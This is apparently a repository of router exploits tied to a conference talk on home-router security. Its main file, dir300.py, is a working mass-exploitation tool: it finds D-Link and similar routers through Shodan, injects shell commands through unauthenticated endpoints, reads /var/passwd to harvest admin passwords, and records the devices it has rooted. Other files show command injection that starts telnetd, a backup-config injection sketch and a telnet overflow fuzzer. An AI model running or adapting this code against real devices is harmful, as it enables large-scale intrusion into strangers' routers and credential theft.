├── .gitignore
├── dpn5402
├── run.sh
├── reboot.html
└── backup.html
├── README.md
├── sploitz.py
├── dpn5202.py
├── zxfuzz.py
└── dir300.py
/.gitignore:
--------------------------------------------------------------------------------
1 | idea/*
--------------------------------------------------------------------------------
/dpn5402/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | python -m SimpleHTTPServer
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | routerz
2 | =======
3 |
4 | Some exploits for ZeroNights 0x03 Our talk about home router security is available
5 |
6 | [Main research](http://dsec.ru/upload/medialibrary/589/589327eb24133e5c615fa11950340e05.pdf)
7 |
8 | [SOHO Router insecurity](https://www.dropbox.com/s/tthqozlpkcqsjd8/routerz.pptx)
9 |
--------------------------------------------------------------------------------
/dpn5402/reboot.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | D-Link DPN-5402 remote reboot
5 |
6 |
7 | D-Link DPN-5402 remote reboot with single image
8 |
9 |
10 |
--------------------------------------------------------------------------------
/dpn5402/backup.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Router PWN PoC
5 |
6 |
7 |
8 | w00t w00t we've got r00t
9 |
10 |
11 |
12 |
13 |
14 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/sploitz.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | # -*- encoding: utf-8 -*-
3 | # Router vulnerability stat with help of searchsploit
4 | # Tested on Kali Linux 1.09
5 | # Author: @090h
6 |
7 | from subprocess import Popen, PIPE
8 |
9 | vendors = ['d-link', 'tp-link', 'zyxel', 'cisco', 'linksys', 'huawei', 'netgear']
10 | stat = {}
11 |
12 | def search_sploitz(vendor):
13 | out = Popen('searchsploit %s' % vendor, shell=True, stdout=PIPE).communicate()[0]
14 | if out is None:
15 | return None
16 | return out.split('\n')[2:-1]
17 |
18 | # Get exploit DB stat
19 | for vendor in vendors:
20 | lines = search_sploitz(vendor)
21 | if lines is not None:
22 | stat[vendor] = len(lines)
23 |
24 |
25 | print('ExploitDB statistics')
26 | for w in sorted(stat, key=stat.get, reverse=True):
27 | print w, stat[w]
28 |
--------------------------------------------------------------------------------
/dpn5202.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # D-Link DPN-5402 remote exploit
4 |
5 | __author__ = '090h'
6 | __license__ = 'GPL'
7 |
8 | from sys import argv, exit
9 | from os import path
10 | from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter
11 | from requests import get
12 |
13 | class Dpn5402(object):
14 |
15 | def __init__(self, host):
16 | self.host = host
17 |
18 | def exec_cmd(self, cmd):
19 | print(cmd)
20 | url = "http://%s/goform/cbBackupCfgByFTP.xml?rqProtocol=tftp&rqServerIP=1.3.3.7&rqPort=69|%s||&rqFileName=settings"
21 | print(url)
22 |
23 | def get_config(self, proto="ftp", host='192.168.0.2', port=21, user='anonymous', password='qwe@asd.ru', filename='settings'):
24 | url = "http://%s/goform/cbBackupCfgByFTP.xml?rqProtocol=%s&rqServerIP=%s&rqPort=%i&rqUsername=%s&rqPassword=%s&rqFileName=%s" % \
25 | (self.host, proto, host, port, user, password, filename)
26 | pass
27 |
28 | if __name__ == '__main__':
29 | pass
--------------------------------------------------------------------------------
/zxfuzz.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | #
4 | # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5 | # Dummy telnet fuzzer for ZyXELL Keenetic
6 | # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
7 | #
8 | # MacBookPro:~ 090h$ telnet 1.0.0.1
9 | # Trying 1.0.0.1...
10 | # Connected to 1.0.0.1.
11 | # Escape character is '^]'.
12 | #
13 | # Password :
14 | # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
15 | # Vulnerable routers: ZyXEL Keenetic 4G, any other?
16 | #
17 | # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
18 | #
19 | # author: @090h
20 | #
21 | from telnetlib import *
22 | from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter
23 | from datetime import datetime
24 | import logging
25 |
26 | class ZyxellFuzzer(object):
27 |
28 | def __init__(self, host, port=23, debug=False):
29 | self.host = host
30 | self.port = port
31 | root = logging.getLogger()
32 | if debug:
33 | root.setLevel(logging.DEBUG)
34 |
35 | def fuzz_bof(self, start=1, finish=0):
36 | logging.info("Start telnet fuzzing %s:%i" % (self.host, self.port))
37 | tn = Telnet()
38 | buflen = start
39 | while buflen != finish:
40 | tn.open(self.host, self.port)
41 |
42 | # Attempts limit == 3
43 | for x in xrange(0,3):
44 | buf = 'A'*buflen
45 | print("Trying length: %i 0x%X" % (len(buf), len(buf)))
46 | logging.debug(tn.read_until('Password :'))
47 | tn.write(buf+'\n')
48 | buflen += 1
49 |
50 | def fuzz2(self, length=0x42):
51 | logging.info("Start telnet fuzzing %s:%i" % (self.host, self.port))
52 | tn = Telnet()
53 | buf = chr(19)*(length - 1)
54 |
55 | for x in xrange(20, 255):
56 | tn.open(self.host, self.port)
57 | print x
58 | new_buf = buf + chr(x)
59 | tn.write(new_buf+'\n')
60 | print tn.read_until('Password :')
61 | tn.read_until('Password :')
62 | tn.close()
63 |
64 | def main():
65 | parser = ArgumentParser(description='Dummy telnet fuzzer for ZyXELL Keenetic', formatter_class=ArgumentDefaultsHelpFormatter)
66 | parser.add_argument('host', help='Telnet host to fuzz')
67 | parser.add_argument('-p', '--port', type=int, default=23, required=False, help='telnet port')
68 | #parser.add_argument('-t', '--threads', action='store', type=int, default=5, help='thread count')
69 | parser.add_argument('-l', '--length', action='store', type=int, default=0x40, help='length start')
70 | parser.add_argument('-d', '--debug', action='store_true',help='debug output on')
71 | parser.add_argument('--version', action='version', version='%(prog)s 0.01')
72 | args = parser.parse_args()
73 | start_time = datetime.now()
74 |
75 | zf = ZyxellFuzzer(args.host, args.port, args.debug)
76 | zf.fuzz_bof(0, args.length)
77 |
78 | logging.debug("Start time: " + start_time.strftime('%Y-%m-%d %H:%M:%S'))
79 | logging.debug("Finish time: " + datetime.now().strftime('%Y-%m-%d %H:%M:%S'))
80 |
81 | if __name__ == '__main__':
82 | main()
--------------------------------------------------------------------------------
/dir300.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # DIR-300 AutoPwn
4 | #
5 | # D-Link DIR-615, DIR-600 и DIR-300 (rev B)
6 | # Netgear DGN1000B
7 | # Cisco Linksys E1500/E2500
8 | # Netgear SPH200D
9 | #
10 | # curl --data "cmd=cat /var/passwd" http://217.162.11.253:8080/command.php
11 | # curl --data "act=ping&dst=%26%20ls%26" http://217.162.11.253:8080/diagnostic.php
12 | #
13 | # author: @090h
14 |
15 | from Queue import Queue
16 | from threading import Thread
17 | from os import urandom
18 | from time import sleep
19 | from pprint import pprint
20 | from shodan import WebAPI
21 | from sys import argv
22 | from base64 import encodestring
23 | import logging
24 | import urllib2
25 | import urllib
26 |
27 | rooted = []
28 |
29 |
30 | class Dir300(object):
31 |
32 | firmware = None
33 | info_urls = ['/router_info.xml', '/DevInfo.txt', '/DevInfo.php']
34 |
35 | def __init__(self, host, port=80):
36 | self.host = host
37 | self.port = port
38 | self.url = 'http://%s:%s' % (host, port)
39 |
40 | def do_GET(self, url):
41 | try:
42 | return self.send(url)
43 | except:
44 | return ''
45 |
46 | def do_POST(self, url, data=None):
47 | return self.send(url, data)
48 |
49 | def send(self, url, data=None, encode=True, encoding='UTF-8'):
50 | url = self.url + url
51 | try:
52 | if data is None:
53 | request = urllib2.Request(url)
54 | else:
55 | if encode:
56 | request = urllib2.Request(url, urllib.urlencode(data))
57 | else:
58 | request = urllib2.Request(url, data)
59 | response = urllib2.urlopen(request, timeout=5)
60 | if response.getcode() != 200:
61 | return 'ERROR: %i' % response.getcode()
62 |
63 | return response.read().decode(encoding, "replace")
64 | except IOError, e:
65 | return ''
66 |
67 | def basic_auth(self, username='admin', password='admin'):
68 | request = urllib2.Request(self.url)
69 | base64string = encodestring('%s:%s' % (username, password)).replace('\n', '')
70 | request.add_header("Authorization", "Basic %s" % base64string)
71 | return urllib2.urlopen(request).read()
72 |
73 | def vct(self):
74 | return self.do_GET('/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1')
75 |
76 | @property
77 | def info(self):
78 | res = ''
79 | for url in self.info_urls:
80 | #print('Quering %s' % url)
81 | resp = self.do_GET(url).strip('\n\n')
82 | res += resp
83 | #print resp
84 | return res
85 |
86 | @property
87 | def firmware(self):
88 | res = ''
89 | for block in self.info:
90 | for line in block.split('\n'):
91 | if line.find('Firmware') != -1:
92 | res += line + '\n'
93 | return res
94 |
95 | def command(self, cmd):
96 | out = self.send('/command.php', 'cmd=%s' % cmd, encode=False)
97 | if out.find('Authenication fail') != -1:
98 | return ''
99 |
100 | return out
101 |
102 | def command_blind(self, cmd):
103 | out = self.send('/diagnostic.php', 'act=ping&dst=%26%20'+cmd+'%26', encode=False)
104 | if out.find('Authenication fail') != -1:
105 | return ''
106 |
107 | return out
108 |
109 |
110 | class DlinkThread(Thread):
111 |
112 | def __init__(self, queue, cmd):
113 | Thread.__init__(self, name=urandom(16).encode('hex'))
114 | self.queue = queue
115 | self.cmd = cmd
116 |
117 | def run(self):
118 | while True:
119 | try:
120 | ip, port = self.queue.get()
121 | d = Dir300(ip)
122 | firmware = d.firmware
123 | if firmware != '':
124 | print ip,port,firmware
125 |
126 |
127 | cmdout = d.command(self.cmd).strip()
128 | if cmdout != '':
129 | pwd = cmdout.split(' ')[1].replace('"', '')
130 | cmdout = 'admin:'+ pwd
131 | #be ethical
132 | #cmdout = '*'*len(pwd)
133 |
134 | print('Rooted %s:%i => %s' % (ip, port, cmdout))
135 | rooted.append((ip, port, firmware, cmdout))
136 | finally:
137 | self.queue.task_done()
138 |
139 |
140 | class DlinkManager(object):
141 |
142 | def __init__(self, targets, cmd='cat /var/passwd', thread_count=10):
143 | self.targets = targets
144 | self.thread_count = thread_count
145 | self.cmd = cmd
146 |
147 | def run(self):
148 | self.queue = Queue()
149 | for i in range(self.thread_count):
150 | t = DlinkThread(self.queue, self.cmd)
151 | t.setDaemon(True)
152 | t.start()
153 |
154 | logging.info('Filling queue with %i items' % len(self.targets))
155 | for target in self.targets:
156 | self.queue.put((target['ip'], target['port']))
157 | init_size = self.queue.qsize()
158 |
159 | current_count = 0
160 | while not self.queue.empty():
161 | q = init_size - self.queue.qsize()
162 | #stdout.write("\r%i/%i checked. Check speed %i per sec " % (q, init_size, q - current_count))
163 | #stdout.flush()
164 | current_count = q
165 | sleep(1)
166 | return
167 |
168 | def exploit(host, port=80):
169 | d = Dir300(host, port)
170 | print("INFO: %s\nFIRMWARE: %s\n" % (d.info, d.firmware))
171 | print(d.command('cat /var/passwd'))
172 | #print(d.command_blind('cat /var/passwd'))
173 |
174 | def autoroot(api_key, thread_count=10):
175 |
176 | api = WebAPI(api_key)
177 | search_queries = ['Server: Linux, HTTP/1.1, DIR','Mathopd/1.5p6' ]#, 'Server: Linux, HTTP/1.1, DIR-300']
178 | for query in search_queries:
179 | count = 0
180 | page = 1
181 | total = 0
182 |
183 | while True:
184 | results = api.search(query)
185 | if total == 0:
186 | total = int(results['total'])
187 | print('Results found: %s' % results['total'])
188 | print('Countries found: ')
189 | pprint(results['countries'])
190 | raw_input('press enter to start hacking')
191 | dm = DlinkManager(results['matches'],thread_count=10)
192 | dm.run()
193 | page += 1
194 | count += len(results['matches'])
195 | if count == total:
196 | break
197 |
198 | print("Rooted routers count: %i" % len(rooted))
199 | print(rooted)
200 |
201 | if __name__ == '__main__':
202 | if len(argv) == 1:
203 | print('No args found, try to query Shodan...')
204 | api_key = raw_input("Shodan API Key: ")
205 | if api_key is None or len(api_key) == 0:
206 | print('Go and get SHODAN_API_KEY at http://www.shodanhq.com/')
207 | exit()
208 |
209 | autoroot(api_key)
210 | else:
211 | port = 80
212 | if len(argv) > 2:
213 | try:
214 | port = int(argv[2])
215 | except:
216 | print('Invalid port: %s' % argv[2])
217 | exit()
218 | exploit(argv[1],port)
219 |
--------------------------------------------------------------------------------